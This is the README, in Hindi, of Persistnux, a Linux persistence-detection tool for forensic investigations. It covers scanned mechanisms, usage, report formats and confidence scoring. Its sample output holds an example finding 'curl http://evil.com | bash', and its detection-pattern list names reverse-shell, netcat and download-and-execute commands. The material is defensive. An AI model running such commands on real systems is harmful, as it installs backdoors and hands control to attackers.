
बैश-आधारित लिनक्स स्थायित्व पहचान उपकरण जो DFIR जाँच के लिए है। 15+ स्थायित्व तंत्रों (systemd, cron, कर्नेल मॉड्यूल, SSH, कंटेनर) को विश्वास स्कोरिंग के साथ स्कैन करता है और फोरेंसिक विश्लेषण के लिए CSV/JSONL रिपोर्ट उत्पन्न करता है।
Linux पर स्थायित्व (persistence) का पता लगाने वाला एक व्यापक उपकरण, जो डिजिटल फोरेंसिक और घटना प्रतिक्रिया (DFIR) जांच के लिए है।
Persistnux एक bash-आधारित उपकरण है जो हमलावरों द्वारा समझौता किए गए सिस्टम तक पहुंच बनाए रखने के लिए उपयोग किए जाने वाले ज्ञात Linux स्थायित्व तंत्रों की पहचान करने के लिए डिज़ाइन किया गया है। यह सिस्टम भर में व्यापक जाँच करता है और आगे के विश्लेषण के लिए CSV और JSONL दोनों प्रारूपों में विस्तृत रिपोर्ट तैयार करता है।
/etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system में सेवा फ़ाइलें (.service)/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow और /etc/cron.deny ACL फ़ाइलें — गैर-मौजूद उपयोगकर्ताओं को संदर्भित करने वाली प्रविष्टियाँ चिह्नित/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile, आदि)/etc/rc.local और वेरिएंट/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — प्रत्येक सूचीबद्ध लाइब्रेरी पैकेज प्रबंधक के माध्यम से सत्यापित/etc/ld.so.conf, /etc/ld.so.conf.d/) — कॉन्फ़ फ़ाइल अखंडता + गैर-मानक पथ .so फ़ाइलें स्कैन और सत्यापित/etc/environment LD_PRELOAD/LD_LIBRARY_PATH — env फ़ाइल को HIGH चिह्नित; संदर्भित लाइब्रेरी पथ सत्यापित (अप्रबंधित/संशोधित → CRITICAL)/etc/modprobe.d/, /etc/modprobe.conf) — फ़ाइल अखंडता; install निर्देशों का संदिग्ध कमांड लक्ष्यों के लिए विश्लेषण; सुरक्षा मॉड्यूल (apparmor, selinux, seccomp) की blacklist को HIGH चिह्नित/etc/modules, /etc/modules-load.d/) — कॉन्फ़िग अखंडता; संदर्भित मॉड्यूल नामों को modinfo के माध्यम से फ़ाइलों में हल किया और सत्यापित.config/autostart, /etc/xdg/autostart) — रूट होने पर सभी उपयोगकर्ता होम स्कैन किए जाते हैं/etc/environment) — LD_PRELOAD/LD_LIBRARY_PATH लाइब्रेरी पथ सत्यापित/etc/sudoers, /etc/sudoers.d/) — NOPASSWD/ALL पैटर्न → HIGH.so मॉड्यूल पैकेज प्रबंधक के माध्यम से सत्यापित; @include निर्देशों का अनुसरण; /etc/pam.conf शामिलpam_exec.so स्क्रिप्ट विश्लेषण — लापता/संदिग्ध स्क्रिप्ट → CRITICALpam_python.so / pam_perl.so रिले डिटेक्शन — स्क्रिप्ट निकाली और विश्लेषित/etc/security/ में हुक फ़ाइल डिटेक्शन~/.ssh/authorized_keys — हाल ही में संशोधित कुंजियाँ चिह्नित; command= विकल्प सामग्री का संदिग्ध पैटर्न के लिए विश्लेषण~/.ssh/rc — उपस्थिति को MEDIUM चिह्नित; संदिग्ध/रिवर्स शेल सामग्री → HIGH/CRITICALdpkg -V, RHEL/CentOS पर rpm -Va)/usr/bin, /usr/sbin, /bin, /sbin में संशोधित फ़ाइलें → CRITICAL खोज/lib/security में संशोधित PAM मॉड्यूल → CRITICAL खोजinit= कर्नेल पैरामीटर इंजेक्शन (/etc/default/grub, /etc/default/grub.d/*.cfg)/ पर रूट-स्तरीय गिराई गई init स्क्रिप्ट/sysroot/etc/shadow में लिखने वाले pre-pivot हुक के साथ Dracut initramfs मॉड्यूल/etc/initramfs-tools/scripts/ और /hooks/ में Ubuntu initramfs-tools हुक स्क्रिप्ट/boot/initrd.img-* इमेज (mtime-आधारित)ResultAny/ResultInactive/ResultActive=yes वाली .pkla फ़ाइलेंunix-user:*) अनुदानpolkit.Result.YES वाली .rules फ़ाइलें (JavaScript-आधारित Polkit >= 0.106)Exec= पंजीकरण (/usr/share/dbus-1/system-services/)allow own="*" या send_destination="*" निर्देश/etc/NetworkManager/dispatcher.d/)RUN+= निर्देश मनमाने कमांड या स्क्रिप्ट निष्पादित करना (/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/ में रनटाइम-इंजेक्टेड नियमRUN+= में at/cron प्रतिनिधिमंडल पैटर्न (सामान्य फोरग्राउंड प्रतिबंध बाईपास)--privileged, --pid=host)docker.sock बाइंड-माउंट (Docker API के माध्यम से पूर्ण होस्ट नियंत्रण)nsenter -t 1getcap के माध्यम से फ़ाइल क्षमता स्कैन — GTFOBins पर cap_setuid+ep → CRITICAL.original, .old, .bak, .real)/etc/passwd में UID 0 वाले गैर-रूट खाते/etc/passwd शेल फ़ील्ड में अनुगामी स्थान के माध्यम से शेल मास्किंगauthorized_keys फ़ाइलों वाले सिस्टम खाते (UID 1-999)# रिपॉजिटरी क्लोन करें
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# स्क्रिप्ट को निष्पादन योग्य बनाएं
chmod +x persistnux.sh
# डिफ़ॉल्ट सेटिंग्स के साथ चलाएं (केवल संदिग्ध खोज दिखाता है)
sudo ./persistnux.sh
# सहायता और सभी विकल्प दिखाएं
./persistnux.sh --help
# सामान्य उपयोगकर्ता के रूप में चलाएं (सीमित दायरा)
./persistnux.sh
डिफ़ॉल्ट रूप से, Persistnux शोर कम करने और कार्रवाई योग्य खतरों पर ध्यान केंद्रित करने के लिए केवल संदिग्ध खोज (MEDIUM, HIGH, CRITICAL विश्वास) दिखाता है।
# डिफ़ॉल्ट: केवल संदिग्ध खोज दिखाएं
sudo ./persistnux.sh
# बेसलाइन (LOW विश्वास) सहित सभी खोज दिखाएं
sudo ./persistnux.sh --all
# या
sudo FILTER_MODE=all ./persistnux.sh
# केवल HIGH और CRITICAL विश्वास वाली खोज दिखाएं
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# फ़िल्टर संयोजित करें: केवल HIGH विश्वास
sudo ./persistnux.sh --min-confidence HIGH
# कस्टम आउटपुट निर्देशिका निर्दिष्ट करें
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# फ़िल्टरिंग के साथ संयोजित करें
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
डिफ़ॉल्ट रूप से, Persistnux एक आउटपुट निर्देशिका ./persistnux_output/ बनाता है जिसमें शामिल है:
persistnux_<होस्टनाम>_<टाइमस्टैम्प>.csv - CSV प्रारूप रिपोर्टpersistnux_<होस्टनाम>_<टाइमस्टैम्प>.jsonl - JSONL प्रारूप रिपोर्ट (प्रति पंक्ति एक JSON ऑब्जेक्ट)persistnux_<होस्टनाम>_<टाइमस्टैम्प>_report.txt - खोज गणना और स्कैन मेटाडेटा के साथ मानव-पठनीय सारांश रिपोर्टtimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)Persistnux गलत सकारात्मक को कम करने के लिए बुद्धिमान विश्वास स्कोरिंग का उपयोग करता है:
Persistnux में अब गलत सकारात्मक को कम करने के लिए कई सुविधाएँ शामिल हैं:
dpkg (Debian/Ubuntu) या rpm (RedHat/CentOS) द्वारा प्रबंधित फ़ाइलों को कम विश्वास स्कोर प्राप्त होता हैPersistnux स्वचालित रूप से उच्च विश्वास वाली वस्तुओं को चिह्नित करता है जब यह पता लगाता है:
bash -i >& /dev/tcp/, sh -i >& /dev/udp/nc, netcat, socat, telnetpython -c 'import socket'curl | bash, wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash, eval $(echo BASE64)eval, exec/tmp, /dev/shm, /var/tmpchmod +x, chmod 777chmod u+sfind, grep, stat, sha256sum, awk, filesystemctl, lsmod, modinfo, getcap, dpkg/rpm (विशिष्ट जाँच के लिए)python/jq की आवश्यकता नहीं)नोट: उपकरण मुख्य रूप से Ubuntu/Debian सिस्टम पर परीक्षित किया गया है। RedHat, Fedora और RPM-आधारित वितरणों में कोड में पैकेज प्रबंधक समर्थन लागू है लेकिन लाइव परीक्षण वातावरण में मान्य नहीं किया गया है। RPM-आधारित वितरणों के लिए योगदान और परीक्षण रिपोर्ट का स्वागत है।
Persistnux को PANIX के विरुद्ध बेंचमार्क किया गया है,
जो उन्हीं स्थायित्व तंत्रों को स्थापित करता है जिनकी Persistnux खोज करता है। दोहराने योग्य
हार्नेस tests/panix_benchmark.sh प्रत्येक PANIX तकनीक को लागू करता है, Persistnux चलाता है,
और बेसलाइन अंतर के माध्यम से पहचान की पुष्टि करता है। परीक्षण बॉक्स पर लागू होने वाली हर फ़ाइल-आधारित PANIX तकनीक
MEDIUM+ विश्वास पर पहचानी जाती है। पूर्ण कवरेज तालिका और पद्धति के लिए PANIX_BENCHMARK.md देखें।
⚠️ बेंचमार्क वास्तविक बैकडोर स्थापित करता है — इसे केवल डिस्पोजेबल VM में चलाएं।
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
योगदान का स्वागत है! कृपया बेझिझक पुल रिक्वेस्ट सबमिट करें या इसके लिए इश्यू खोलें:
MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें
DFIR समुदाय के लिए Linux घटना प्रतिक्रिया और फोरेंसिक जांच में सहायता के लिए विकसित किया गया।
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण, घटना प्रतिक्रिया और फोरेंसिक विश्लेषण के लिए है। किसी भी सिस्टम पर इस उपकरण को चलाने से पहले उपयोगकर्ता यह सुनिश्चित करने के लिए जिम्मेदार हैं कि उनके पास उचित प्राधिकरण है।
प्रश्नों, मुद्दों या योगदान के लिए, कृपया GitHub इश्यू ट्रैकर का उपयोग करें।
.kolsmod) — गणना और अखंडता सत्यापनpam_script.sopam_env.conf और ~/.pam_environment LD_PRELOAD लाइब्रेरी सत्यापन/etc/security/ सामान्य स्कैन/etc/update-motd.d/) — पैकेज सत्यापन; संशोधित → CRITICAL| वितरण | स्थिति | नोट्स |
|---|
| Ubuntu 22.04 LTS | ✅ परीक्षित | प्राथमिक विकास और परीक्षण मंच |
| Ubuntu 20.04 LTS | ✅ परीक्षित | पूरी तरह समर्थित |
| Debian 11/12 | ✅ परीक्षित | dpkg-आधारित, समान पथ परंपराएँ |
| Kali Linux (rolling) | ✅ परीक्षित | PANIX डिटेक्शन बेंचमार्क के लिए उपयोग (नीचे देखें) |
| RedHat / RHEL | ⚠️ अभी परीक्षित नहीं | rpm समर्थन लागू है लेकिन लाइव सिस्टम पर सत्यापित नहीं |
| Fedora | ⚠️ अभी परीक्षित नहीं | rpm समर्थन लागू है लेकिन लाइव सिस्टम पर सत्यापित नहीं |
| CentOS / AlmaLinux / Rocky | ⚠️ अभी परीक्षित नहीं | rpm समर्थन लागू है लेकिन लाइव सिस्टम पर सत्यापित नहीं |